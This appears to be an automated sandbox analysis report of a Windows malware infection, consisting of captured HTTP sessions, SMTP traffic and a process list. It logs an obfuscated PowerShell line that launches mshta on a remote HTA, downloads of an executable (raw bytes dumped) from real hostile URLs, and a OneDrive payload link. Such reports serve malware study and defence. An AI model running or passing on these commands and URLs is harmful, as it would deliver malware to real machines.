2024-04-24 04:45:19 UTC	16384	IN	Data Raw: 46 75 2c 77 57 2c 54 79 2c 64 4d 2c 46 63 2c 6c 55 2c 54 79 2c 46 75 2c 4b 42 2c 46 63 2c 54 79 2c 46 75 2c 4c 67 2c 54 45 2c 54 79 2c 64 4d 2c 77 57 2c 46 75 2c 54 79 2c 46 75 2c 4c 67 2c 64 4d 2c 54 79 2c 64 4d 2c 54 45 2c 55 69 2c 54 79 2c 46 75 2c 4b 42 2c 46 75 2c 54 79 2c 64 4d 2c 54 45 2c 54 45 2c 54 79 2c 64 4d 2c 77 57 2c 46 75 2c 54 79 2c 64 4d 2c 54 45 2c 46 75 2c 54 79 2c 46 75 2c 4b 42 2c 46 63 2c 54 79 2c 64 4d 2c 55 69 2c 4c 67 2c 54 79 2c 64 4d 2c 77 57 2c 55 69 2c 54 79 2c 46 75 2c 64 4b 2c 4b 42 2c 54 79 2c 46 75 2c 4b 42 2c 46 63 2c 54 79 2c 46 75 2c 4b 42 2c 6c 55 2c 54 79 2c 46 75 2c 6c 55 2c 64 4b 2c 54 79 2c 64 4d 2c 77 57 2c 77 57 2c 54 79 2c 64 4d 2c 77 57 2c 64 4d 2c 54 79 2c 46 75 2c 4b 42 2c 46 63 2c 54 79 2c 64 4d 2c 46 63 2c Data Ascii: Fu,wW,Ty,dM,Fc,lU,Ty,Fu,KB,Fc,Ty,Fu,Lg,TE,Ty,dM,wW,Fu,Ty,Fu,Lg,dM,Ty,dM,TE,Ui,Ty,Fu,KB,Fu,Ty,dM,TE,TE,Ty,dM,wW,Fu,Ty,dM,TE,Fu,Ty,Fu,KB,Fc,Ty,dM,Ui,Lg,Ty,dM,wW,Ui,Ty,Fu,dK,KB,Ty,Fu,KB,Fc,Ty,Fu,KB,lU,Ty,Fu,lU,dK,Ty,dM,wW,wW,Ty,dM,wW,dM,Ty,Fu,KB,Fc,Ty,dM,Fc,
2024-04-24 04:45:19 UTC	16384	IN	Data Raw: 75 2c 54 79 2c 64 4d 2c 54 45 2c 4c 67 2c 54 79 2c 64 4d 2c 77 57 2c 46 75 2c 54 79 2c 46 75 2c 4c 67 2c 64 4d 2c 54 79 2c 46 75 2c 6c 55 2c 6c 55 2c 54 79 2c 46 75 2c 4c 67 2c 55 69 2c 54 79 2c 46 75 2c 4c 67 2c 46 75 2c 54 79 2c 46 75 2c 4b 42 2c 6c 55 2c 54 79 2c 64 4d 2c 64 4d 2c 46 63 2c 54 79 2c 64 4d 2c 77 57 2c 77 57 2c 54 79 2c 46 75 2c 4b 42 2c 55 69 2c 54 79 2c 46 75 2c 4b 42 2c 4c 67 2c 54 79 2c 46 75 2c 4b 42 2c 6c 55 2c 54 79 2c 46 75 2c 4c 67 2c 55 69 2c 54 79 2c 46 75 2c 6c 55 2c 46 75 2c 54 79 2c 64 4d 2c 54 45 2c 6c 55 2c 54 79 2c 64 4d 2c 46 63 2c 77 57 2c 54 79 2c 64 4d 2c 77 57 2c 46 75 2c 54 79 2c 64 4d 2c 54 45 2c 6c 55 2c 54 79 2c 64 4d 2c 46 63 2c 4b 42 2c 54 79 2c 46 75 2c 6c 55 2c 55 69 2c 54 79 2c 46 75 2c 6c 55 2c 46 75 2c 54 Data Ascii: u,Ty,dM,TE,Lg,Ty,dM,wW,Fu,Ty,Fu,Lg,dM,Ty,Fu,lU,lU,Ty,Fu,Lg,Ui,Ty,Fu,Lg,Fu,Ty,Fu,KB,lU,Ty,dM,dM,Fc,Ty,dM,wW,wW,Ty,Fu,KB,Ui,Ty,Fu,KB,Lg,Ty,Fu,KB,lU,Ty,Fu,Lg,Ui,Ty,Fu,lU,Fu,Ty,dM,TE,lU,Ty,dM,Fc,wW,Ty,dM,wW,Fu,Ty,dM,TE,lU,Ty,dM,Fc,KB,Ty,Fu,lU,Ui,Ty,Fu,lU,Fu,T
2024-04-24 04:45:19 UTC	16384	IN	Data Raw: 6e 00 22 43 61 6c 63 75 6c 61 74 6f 72 20 70 61 63 6b 61 67 65 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 66 61 69 6c 65 64 21 22 00 02 03 0b 05 00 00 00 00 00 00 00 02 00 45 00 00 50 61 63 6b 61 67 65 52 65 67 69 73 74 72 61 74 69 6f 6e 00 22 43 61 6c 63 75 6c 61 74 6f 72 20 70 61 63 6b 61 67 65 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 73 75 63 63 65 65 64 65 64 21 22 00 02 03 0b 05 00 00 00 00 00 00 00 02 00 2a 00 00 43 61 6c 63 75 6c 61 74 6f 72 57 69 6e 4d 61 69 6e 00 22 43 61 6c 63 75 6c 61 74 6f 72 53 74 61 72 74 65 64 22 00 02 03 0b 05 00 00 00 00 00 00 00 02 00 44 00 00 50 61 63 6b 61 67 65 52 65 67 69 73 74 72 61 74 69 6f 6e 00 22 43 61 6c 63 75 6c 61 74 6f 72 20 70 61 63 6b 61 67 65 20 72 65 67 69 73 74 72 61 74 69 6f 6e 20 66 69 6e 69 73 68 65 Data Ascii: n"Calculator package verification failed!"EPackageRegistration"Calculator package verification succeeded!"*CalculatorWinMain"CalculatorStarted"DPackageRegistration"Calculator package registration finishe
2024-04-24 04:45:19 UTC	12823	IN	Data Raw: 46 46 ff 47 47 47 ff 46 46 46 ff 46 46 46 ff 47 46 46 ff 47 47 47 ff 47 46 46 ff ff ff ff ff ff ff ff ff 46 46 46 ff 46 46 46 ff 47 46 46 ff 47 46 47 ff 46 46 46 ff 47 47 47 ff 46 46 46 ff 47 46 46 ff 47 47 47 ff 47 47 47 ff 47 47 47 ff 46 46 46 ff 47 47 47 ff 47 47 47 ff ff ff ff ff ff ff ff ff 47 47 47 ff 47 47 47 ff 47 46 46 ff 47 47 47 ff 47 47 47 ff 47 47 47 ff 47 47 47 ff 47 47 47 ff 47 46 47 ff 46 46 46 ff 46 46 46 ff 47 47 47 ff 46 46 46 ff 46 46 46 ff ff ff ff ff ff ff ff ff 47 46 46 ff 47 47 47 ff 47 47 47 ff 47 46 47 ff 47 47 47 ff 46 46 46 ff 46 46 46 ff 46 46 46 ff 47 47 47 ff 47 47 47 ff 47 46 47 ff 46 46 46 ff 46 46 46 ff 46 46 46 ff ff ff ff ff ff ff ff ff 47 47 47 ff 46 46 46 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: FFGGGFFFFFFGFFGGGGFFFFFFFFGFFGFGFFFGGGFFFGFFGGGGGGGGGFFFGGGGGGGGGGGGGFFGGGGGGGGGGGGGGGGFGFFFFFFGGGFFFFFFGFFGGGGGGGFGGGGFFFFFFFFFGGGGGGGFGFFFFFFFFFGGGFFF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49710	89.46.106.29	443	7800	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 04:45:25 UTC	83	OUT	GET /assets/aw/Book1.xlsx HTTP/1.1 Host: sessosesso.it Connection: Keep-Alive
2024-04-24 04:45:26 UTC	261	IN	HTTP/1.1 301 Moved Permanently Server: aruba-proxy Date: Wed, 24 Apr 2024 04:45:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.sessosesso.it/assets/aw/Book1.xlsx X-ServerName: ipvsproxy74.ad.aruba.it
2024-04-24 04:45:26 UTC	179	IN	Data Raw: 61 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a8<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>aruba-proxy</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49713	89.46.106.29	443	7800	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 04:45:27 UTC	83	OUT	GET /assets/aw/uc.exe HTTP/1.1 Host: www.sessosesso.it Connection: Keep-Alive
2024-04-24 04:45:28 UTC	268	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Wed, 24 Apr 2024 04:45:27 GMT Content-Type: application/x-msdownload Content-Length: 1646592 Connection: close Last-Modified: Tue, 23 Apr 2024 08:40:32 GMT Accept-Ranges: bytes X-ServerName: ipvsproxy74.ad.aruba.it
2024-04-24 04:45:28 UTC	16116	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: eb 1c 8b 46 fc 29 d0 eb 15 5a 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 fd 5f 5e 5b c3 8b c0 85 c0 74 0a 8b 50 f8 42 7e 04 f0 ff 40 f8 c3 90 85 c0 74 02 c3 00 b8 2d 4b 40 00 c3 8b 10 85 d2 74 38 8b 4a f8 49 74 32 53 89 c3 8b 42 fc e8 dd fb ff ff 89 c2 8b 03 89 13 50 8b 48 fc e8 22 e3 ff ff 58 8b 48 f8 49 7c 0e f0 ff 48 f8 75 08 8d 40 f8 e8 39 e1 ff ff 8b 13 5b 89 d0 c3 8d 40 00 e9 b7 ff ff ff c3 8b c0 e9 af ff ff ff c3 8b c0 53 85 c0 74 2d 8b 58 fc 85 db 74 26 4a 7c 1b 39 da 7d 1f 29 d3 85 c9 7c 19 39 d9 7f 11 01 c2 8b 44 24 08 e8 a4 fb ff ff eb 11 31 d2 eb e5 89 d9 eb eb 8b 44 24 08 e8 a1 fa ff ff 5b c2 04 00 c3 53 56 57 89 c3 89 d6 89 cf e8 a2 ff ff ff 8b 13 85 d2 74 30 8b 4a fc 4e 7c 2a 39 ce 7d 26 85 ff 7e 22 29 f1 39 cf 7e 02 89 cf 29 Data Ascii: F)Z8u8u8u8_^[tPB~@t-K@t8JIt2SBPH"XHI\|Hu@9[@St-Xt&J\|9})\|9D$1D$[SVWt0JN\|*9}&~")9~)
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: ae b8 fe ff ff ff 29 c8 89 d7 c3 90 89 fa 89 c7 b9 ff ff ff ff 32 c0 f2 ae 8d 47 ff 89 d7 c3 90 56 8b f0 92 e8 5f a3 ff ff 8b c6 5e c3 8d 40 00 29 c2 a9 01 00 00 00 50 74 0b 0f b6 0c 02 88 08 85 c9 74 1b 40 0f b6 0c 02 85 c9 74 14 0f b7 0c 02 66 89 08 83 c0 02 81 f9 ff 00 00 00 77 e6 58 c3 88 08 58 c3 8d 40 00 57 56 53 89 c6 89 d7 89 cb 32 c0 85 c9 74 05 f2 ae 75 01 41 29 cb 89 f7 89 d6 89 fa 89 d9 c1 e9 02 f3 a5 89 d9 83 e1 03 f3 a4 aa 89 d0 5b 5e 5f c3 8d 40 00 53 56 57 8b f2 8b f8 8b de 85 db 74 05 83 eb 04 8b 1b 8b c6 e8 7f bf ff ff 8b d0 8b cb 8b c7 e8 a8 ff ff ff 5f 5e 5b c3 53 56 57 8b f9 8b f2 8b d8 8b c6 e8 60 bf ff ff 8b d0 8b cf 8b c3 e8 89 ff ff ff 5f 5e 5b c3 90 29 c2 75 03 31 c0 c3 0f b6 0c 02 3a 08 75 76 84 c9 74 72 0f b6 4c 02 01 3a 48 01 Data Ascii: )2GV_^@)Ptt@tfwXX@WVS2tuA)[^_@SVWt_^[SVW`_^[)u1:uvtrL:H
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: e8 4b bb ff ff a2 0c 08 57 00 b1 2f ba 1d 00 00 00 8b c3 e8 90 e8 ff ff a2 0d 08 57 00 8d 45 dc 50 b9 fc cc 40 00 ba 1f 00 00 00 8b c3 e8 2a e8 ff ff 8b 45 dc 8d 55 e0 e8 5b eb ff ff 8b 55 e0 b8 10 08 57 00 e8 7a 7b ff ff 8d 45 d4 50 b9 0c cd 40 00 ba 20 00 00 00 8b c3 e8 fd e7 ff ff 8b 45 d4 8d 55 d8 e8 2e eb ff ff 8b 55 d8 b8 14 08 57 00 e8 4d 7b ff ff b1 3a ba 1e 00 00 00 8b c3 e8 23 e8 ff ff a2 18 08 57 00 8d 45 d0 50 b9 24 cd 40 00 ba 28 00 00 00 8b c3 e8 bd e7 ff ff 8b 55 d0 b8 1c 08 57 00 e8 18 7b ff ff 8d 45 cc 50 b9 30 cd 40 00 ba 29 00 00 00 8b c3 e8 9b e7 ff ff 8b 55 cc b8 20 08 57 00 e8 f6 7a ff ff 8d 45 f8 e8 9a 7a ff ff 8d 45 f4 e8 92 7a ff ff 8d 45 c8 50 b9 f0 cc 40 00 ba 25 00 00 00 8b c3 e8 69 e7 ff ff 8b 45 c8 33 d2 e8 53 ba ff ff 85 c0 Data Ascii: KW/WEP@*EU[UWz{EP@ EU.UWM{:#WEP$@(UW{EP0@)U WzEzEzEP@%iE3S
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: 5c ff ff c3 e9 cf 34 ff ff eb ee 0f b6 45 ff 5f 5e 5b 59 5d c3 8d 40 00 55 8b ec 81 c4 f0 fe ff ff 53 56 57 33 c9 89 4d f0 89 55 f8 89 45 fc 33 c0 55 68 e2 0b 41 00 64 ff 30 64 89 20 c6 45 f7 00 68 a8 12 57 00 e8 39 5b ff ff 33 c0 55 68 c5 0b 41 00 64 ff 30 64 89 20 a1 a4 12 57 00 e8 6d 4a ff ff 8b f0 85 f6 7c 50 46 33 ff a1 a4 12 57 00 8b 1c b8 85 db 74 3d 3b 1d 14 9a 45 00 74 35 8d 95 f0 fe ff ff 8b 03 e8 af 2b ff ff 8d 95 f0 fe ff ff 8d 45 f0 e8 39 3d ff ff 8b 45 f0 8b 55 fc e8 3e 77 ff ff 84 c0 74 0b 8b 45 f8 89 18 c6 45 f7 01 eb 04 47 4e 75 b3 33 c0 5a 59 59 64 89 10 68 cc 0b 41 00 68 a8 12 57 00 e8 94 5b ff ff c3 e9 02 34 ff ff eb ee 33 c0 5a 59 59 64 89 10 68 e9 0b 41 00 8d 45 f0 e8 83 3a ff ff c3 e9 e5 33 ff ff eb f0 0f b6 45 f7 5f 5e 5b 8b e5 5d Data Ascii: \4E_^[Y]@USVW3MUE3UhAd0d EhW9[3UhAd0d WmJ\|PF3Wt=;Et5+E9=EU>wtEEGNu3ZYYdhAhW[43ZYYdhAE:3E_^[]
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: 10 5b c3 90 55 8b ec 53 56 8b 45 08 8b 40 fc 8b 70 20 85 f6 74 2d b3 01 8b 45 08 8b c6 8b 15 ac 1f 41 00 e8 c0 ee fe ff 84 c0 74 27 8b 45 08 8b d6 8b 45 08 8b 40 f8 e8 80 00 00 00 8b d8 80 f3 01 eb 10 8b 45 08 8b 40 f8 8b 10 ff 52 14 85 c0 0f 9f c3 8b c3 5e 5b 5d c3 8d 40 00 55 8b ec 83 c4 f8 53 89 55 fc 89 45 f8 8b 45 f8 50 68 18 53 41 00 8b 45 f8 50 68 b0 56 41 00 55 e8 83 ff ff ff 59 8b c8 ba 94 4b 41 00 8b 45 fc 8b 18 ff 53 04 5b 59 59 5d c3 00 00 ff ff ff ff 07 00 00 00 53 74 72 69 6e 67 73 00 ff 48 10 83 78 10 00 75 07 33 d2 8b 08 ff 51 30 c3 8d 40 00 55 8b ec 83 c4 ec 53 56 57 33 c9 89 4d f0 89 4d ec 89 55 f8 89 45 fc 33 c0 55 68 45 4c 41 00 64 ff 30 64 89 20 c6 45 f7 00 8b 45 fc 8b 10 ff 52 14 8b d8 8b 45 f8 8b 10 ff 52 14 3b d8 75 3b 8b f3 4e 85 Data Ascii: [USVE@p t-EAt'EE@E@R^[]@USUEEPhSAEPhVAUYKAES[YY]StringsHxu3Q0@USVW3MMUE3UhELAd0d EERER;u;N
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: fc 00 8d 55 f0 b9 01 00 00 00 b8 24 8b 41 00 e8 e4 06 ff ff 8b 03 e8 e1 b0 ff ff 84 c0 74 d3 5f 5e 5b 8b e5 5d c3 00 00 ff ff ff ff 05 00 00 00 25 73 5f 25 64 00 00 00 55 8b ec 83 c4 d0 53 56 57 33 c9 89 4d d4 89 4d d0 89 4d d8 89 4d dc 89 4d e0 89 4d e4 89 55 f8 89 45 fc 33 c0 55 68 4d 8e 41 00 64 ff 30 64 89 20 8b 45 fc e8 b7 03 00 00 33 c0 89 45 f4 a1 c4 12 57 00 8b 10 ff 52 14 33 c0 55 68 2b 8e 41 00 64 ff 30 64 89 20 33 c0 55 68 ec 8d 41 00 64 ff 30 64 89 20 8d 4d f0 8d 55 ef 8b 45 fc 8b 18 ff 53 28 83 7d f8 00 75 35 8d 55 e4 8b 45 fc e8 91 03 00 00 8b 45 e4 e8 0d ac ff ff 33 c9 b2 01 ff 50 2c 89 45 f4 8d 55 e0 8b 45 fc e8 74 03 00 00 8b 55 e0 8b 45 f4 8b 08 ff 51 18 eb 58 8b 45 f8 89 45 f4 8d 55 dc 8b 45 fc e8 56 03 00 00 8b 45 f4 f6 40 1c 10 74 0d Data Ascii: U$At_^[]%s_%dUSVW3MMMMMMUE3UhMAd0d E3EWR3Uh+Ad0d 3UhAd0d MUES(}u5UEE3P,EUEtUEQXEEUEVE@t
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: 57 8b 7d 0c 8b 75 08 80 3d 3b 13 57 00 00 75 2e b9 08 cc 41 00 8b 15 28 13 57 00 b0 07 e8 2e fa ff ff a3 28 13 57 00 8b 45 14 50 8b 45 10 50 57 56 ff 15 28 13 57 00 8b d8 e9 c2 00 00 00 33 db 83 7d 10 00 0f 84 b6 00 00 00 33 c0 89 45 e4 33 c0 89 45 e8 6a 00 ff 15 0c 13 57 00 89 45 ec 6a 01 ff 15 0c 13 57 00 89 45 f0 85 f6 74 65 8d 45 d4 50 56 e8 24 9d fe ff 89 45 f4 8d 45 f8 50 56 e8 27 9d fe ff 85 c0 74 77 8b 45 fc f7 d8 50 8b 45 f8 f7 d8 50 8d 45 e4 50 e8 b6 a1 fe ff 8d 45 d4 50 8d 45 e4 50 8d 45 e4 50 e8 f5 a0 fe ff 85 c0 74 04 85 ff 74 36 57 8d 45 e4 50 8d 45 e4 50 e8 df a0 fe ff 85 c0 75 24 83 7d f4 01 75 31 b3 01 eb 2d 85 ff 74 16 57 8d 45 e4 50 8d 45 e4 50 e8 bf a0 fe ff 85 c0 75 04 b3 01 eb 13 8b 45 14 50 8d 45 e4 50 56 68 42 00 34 12 ff 55 10 8b Data Ascii: W}u=;Wu.A(W.(WEPEPWV(W3}3E3EjWEjWEteEPV$EEPV'twEPEPEPEPEPEPtt6WEPEPu$}u1-tWEPEPuEPEPVhB4U
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: 33 d2 55 68 5a 0b 42 00 64 ff 32 64 89 22 6a 68 8b 45 f8 50 e8 ab 5d fe ff 83 f8 10 7c 2f 8d 43 04 50 6a 08 6a 00 a1 48 13 57 00 50 e8 a3 5d fe ff 0f b7 43 02 8d 44 83 e4 50 6a 08 6a 08 a1 48 13 57 00 50 e8 8b 5d fe ff c6 45 ff 01 33 c0 5a 59 59 64 89 10 68 61 0b 42 00 8b 45 f8 50 6a 00 e8 47 62 fe ff c3 e9 6d 34 fe ff eb ed 0f b6 45 ff 5b 59 59 5d c3 8b c0 53 56 57 81 c4 fc fb ff ff 8b f8 33 f6 66 c7 04 24 00 03 85 ff 74 38 6a 00 e8 9e 5c fe ff 8b d8 57 53 e8 bd 5d fe ff 8b f8 8d 44 24 04 50 68 00 01 00 00 6a 00 53 e8 01 5d fe ff 66 89 44 24 02 57 53 e8 9d 5d fe ff 53 e8 af 5c fe ff eb 14 66 89 4c 24 02 8b c2 8d 54 24 04 03 c9 03 c9 e8 ad 22 fe ff 66 83 7c 24 02 00 74 2b 66 83 7c 24 02 10 75 0b 8b c4 e8 ee fe ff ff 84 c0 75 0e 0f b7 54 24 02 8d 44 24 04 Data Ascii: 3UhZBd2d"jhEP]\|/CPjjHWP]CDPjjHWP]E3ZYYdhaBEPjGbm4E[YY]SVW3f$t8j\WS]D$PhjS]fD$WS]S\fL$T$"f\|$t+f\|$uuT$D$
2024-04-24 04:45:28 UTC	16384	IN	Data Raw: c3 e9 d2 f4 fd ff eb f8 5d c3 8b c0 4c 4b 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 4b 42 00 04 00 00 00 a0 10 40 00 80 3a 40 00 8c 3a 40 00 90 3a 40 00 94 3a 40 00 88 3a 40 00 e8 37 40 00 04 38 40 00 40 38 40 00 cc 4b 42 00 d0 4b 42 00 0e 54 53 79 6e 63 68 72 6f 4f 62 6a 65 63 74 90 b0 4b 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 4b 42 00 1c 00 00 00 00 4b 42 00 80 3a 40 00 8c 3a 40 00 90 3a 40 00 94 3a 40 00 88 3a 40 00 e8 37 40 00 04 38 40 00 14 4c 42 00 44 4c 42 00 50 4c 42 00 10 54 43 72 69 74 69 63 61 6c 53 65 63 74 69 6f 6e 8d 40 00 c3 8d 40 00 c3 8d 40 00 53 56 84 d2 74 08 83 c4 f0 e8 7a ef fd ff 8b da 8b f0 33 d2 8b c6 e8 31 ec fd ff 8d 46 04 50 Data Ascii: ]LKBTKB@:@:@:@:@:@7@8@@8@KBKBTSynchroObjectKBKBKB:@:@:@:@:@7@8@LBDLBPLBTCriticalSection@@@SVtz31FP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49716	13.107.139.11	443	8080	C:\Users\user\AppData\Roaming\uc.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 04:45:32 UTC	213	OUT	GET /download?resid=849ABDB14CA5CEC3%21220&authkey=!AGW69_d3Nli6r4Y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-24 04:45:33 UTC	1165	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://zyupsq.by.files.1drv.com/y4mZWAAbbWbD2Z_SLbFHXttkWK-AZlqt62tunxr4xpHZuH07d5XHa5kbVXE61GY17Y28186nw-ek1Ds2XbchrhSTbOW4oRk7ufrrG4qLaI4J3DOjPAYH2PRgLqWYP8iX9iQ-cDpcG1nTyrYPpCzRyGTHwQE321S3MeJCqEMQWkMCTAyeOJgGrRANqOF7fqjFj04tiS3-yiZMZVNCBP1OXgsNw/ori?download&psid=1 Set-Cookie: E=P:4JcYYBlk3Ig=:iozxzn9ily+JGu13FGexKk+nOPUbUiDvxqC7EBwT4lo=:F; domain=.live.com; path=/ Set-Cookie: xid=7a5528bd-8258-4c2e-8e86-f30686e2b703&&ODSP-ODWEB-ODCF&152; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Wed, 24-Apr-2024 03:05:32 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Wed, 01-May-2024 04:45:33 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 58656754b6-kx22h X-ODWebServer: namsouthce155880-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4311158B745143B9BBBDC5B91B8D565B Ref B: BY3EDGE0319 Ref C: 2024-04-24T04:45:32Z Date: Wed, 24 Apr 2024 04:45:32 GMT Connection: close Content-Length: 0

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 24, 2024 06:45:43.317347050 CEST	587	49721	192.185.124.132	192.168.2.7	220-m5.websitewelcome.com ESMTP Exim 4.96.2 #2 Tue, 23 Apr 2024 23:45:43 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 24, 2024 06:45:43.321599007 CEST	49721	587	192.168.2.7	192.185.124.132	EHLO 035347
Apr 24, 2024 06:45:43.519418955 CEST	587	49721	192.185.124.132	192.168.2.7	250-m5.websitewelcome.com Hello 035347 [154.16.105.36] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 24, 2024 06:45:43.519639015 CEST	49721	587	192.168.2.7	192.185.124.132	STARTTLS
Apr 24, 2024 06:45:43.718705893 CEST	587	49721	192.185.124.132	192.168.2.7	220 TLS go ahead
Apr 24, 2024 06:45:56.168767929 CEST	587	49722	192.185.124.132	192.168.2.7	220-m5.websitewelcome.com ESMTP Exim 4.96.2 #2 Tue, 23 Apr 2024 23:45:56 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 24, 2024 06:45:56.169078112 CEST	49722	587	192.168.2.7	192.185.124.132	EHLO 035347
Apr 24, 2024 06:45:56.367539883 CEST	587	49722	192.185.124.132	192.168.2.7	250-m5.websitewelcome.com Hello 035347 [154.16.105.36] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 24, 2024 06:45:56.371162891 CEST	49722	587	192.168.2.7	192.185.124.132	STARTTLS
Apr 24, 2024 06:45:56.571888924 CEST	587	49722	192.185.124.132	192.168.2.7	220 TLS go ahead
Apr 24, 2024 06:46:07.610466003 CEST	587	49723	192.185.124.132	192.168.2.7	220-m5.websitewelcome.com ESMTP Exim 4.96.2 #2 Tue, 23 Apr 2024 23:46:07 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 24, 2024 06:46:07.611737967 CEST	49723	587	192.168.2.7	192.185.124.132	EHLO 035347
Apr 24, 2024 06:46:07.809578896 CEST	587	49723	192.185.124.132	192.168.2.7	250-m5.websitewelcome.com Hello 035347 [154.16.105.36] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 24, 2024 06:46:07.809763908 CEST	49723	587	192.168.2.7	192.185.124.132	STARTTLS
Apr 24, 2024 06:46:08.009613037 CEST	587	49723	192.185.124.132	192.168.2.7	220 TLS go ahead

Target ID:	1
Start time:	06:45:13
Start date:	24/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF\Clas\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:45:13
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:45:15
Start date:	24/04/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta
Imagebase:	0x7ff6f38a0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:45:18
Start date:	24/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
